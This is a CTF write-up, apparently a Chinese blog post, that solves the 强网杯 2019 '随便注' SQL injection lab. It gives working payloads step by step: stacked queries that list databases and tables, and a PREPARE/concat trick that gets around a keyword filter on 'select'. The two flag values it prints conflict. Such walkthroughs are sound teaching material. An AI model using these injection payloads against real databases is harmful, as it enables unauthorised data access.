首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[强网杯 2019]随便注 1【SQL注入】解析过程

[强网杯 2019]随便注 1【SQL注入】解析过程

作者头像
XPcode7
发布2025-10-23 12:25:44
发布2025-10-23 12:25:44
1130
举报

1.首先启动并访问靶机,有一个输入框,随便输入1' or 1 = 1,测试一下是否存在sql注入。

2.提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1,说明后端参数后面有可能存在其他sql语句,我们在1' or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据,但是没有flag

 3.那么存在sql注入,那么我们手动探测一下其他的表,首先判断一下字段个数:' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了

 4.既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字

5.查看数据库名:1';show databases;#

6.查看数据表:1';show tables;#

7.我们先来看一下第一个表1919810931114514的表结构,有两种方式:

方式一:1'; show columns from tableName;#

方式二:1';desc tableName;#

注意,如果tableName是纯数字,需要用`包裹,比如1';desc `1919810931114514`;#

获取到字段名为flag:

 8. 因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#得flag:flag{c0fc32ff-8ae1-4b96-8da0-1f621d7fdae3}

 FLAG:flag{ab1f3d33-af30-45b8-b1e9-f5a9915e4676}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2025-10-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档